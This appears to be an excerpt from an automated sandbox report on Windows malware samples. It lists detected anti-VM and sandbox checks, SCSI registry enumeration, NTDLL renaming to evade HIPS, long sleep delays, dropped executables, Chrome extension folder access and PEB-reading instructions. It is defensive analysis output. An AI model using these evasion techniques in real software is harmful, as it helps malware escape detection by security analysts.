Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: 37D8.exe PID: 6468, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 6E1E.exe, 0000001B.00000002.558082279.0000000002DDA000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK-X
Source: esdfufc, 0000000E.00000002.482643867.0000000001F70000.00000004.00000001.sdmp	Binary or memory string: ASWHOOK1
Source: y8WngeDn4q.exe, 00000003.00000002.411777518.00000000004E8000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK#
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLLUSER

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	File opened: C:\Windows\SysWOW64\ntdll.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\E4D7.exe TID: 6124	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5564	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 575	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 367	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4760
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3853
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3144

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3AE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FBAD.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FC0C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\E11F.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\DAA6.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

Code function: 22_2_6C036B90 rdtsc

22_2_6C036B90

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

Source: explorer.exe, 00000006.00000000.387883837.00000000083E9000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000006.00000000.373511562.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: !noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000006.00000000.383874507.000000000461E000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}e-1
Source: explorer.exe, 00000006.00000000.385268947.00000000062E0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: VMwareVBoxARun using valid operating system
Source: explorer.exe, 00000006.00000000.387883837.00000000083E9000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000006.00000000.372864089.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Y
Source: explorer.exe, 00000006.00000000.385268947.00000000062E0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.403045513.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: AdvancedRun.exe, 00000019.00000002.527608014.00000000007AA000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 37D8.exe, 00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: AdvancedRun.exe, 00000019.00000002.527608014.00000000007AA000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.403045513.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000006.00000000.373511562.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: D083.exe, 0000002B.00000002.675692682.0000000000EDD000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000006.00000000.393764920.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

0_2_00426B60

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 0_2_04760042 push dword ptr fs:[00000030h]	0_2_04760042
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 12_2_02CB0042 push dword ptr fs:[00000030h]	12_2_02CB0042
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Code function: 13_2_02B60042 push dword ptr fs:[00000030h]	13_2_02B60042
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D740D mov eax, dword ptr fs:[00000030h]	22_2_6C0D740D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D740D mov eax, dword ptr fs:[00000030h]	22_2_6C0D740D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D740D mov eax, dword ptr fs:[00000030h]	22_2_6C0D740D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC01 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC01
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC01 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC01
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC01 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC01
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC01 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC01
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1C06 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1C06
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8C14 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8C14
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03BC2C mov eax, dword ptr fs:[00000030h]	22_2_6C03BC2C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C022430 mov eax, dword ptr fs:[00000030h]	22_2_6C022430
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C022430 mov eax, dword ptr fs:[00000030h]	22_2_6C022430
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004439 mov eax, dword ptr fs:[00000030h]	22_2_6C004439
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8450 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8450
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02746D mov eax, dword ptr fs:[00000030h]	22_2_6C02746D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C045C70 mov eax, dword ptr fs:[00000030h]	22_2_6C045C70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC77 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC77
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC77 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC77
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC77 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC77
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01FC77 mov eax, dword ptr fs:[00000030h]	22_2_6C01FC77
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
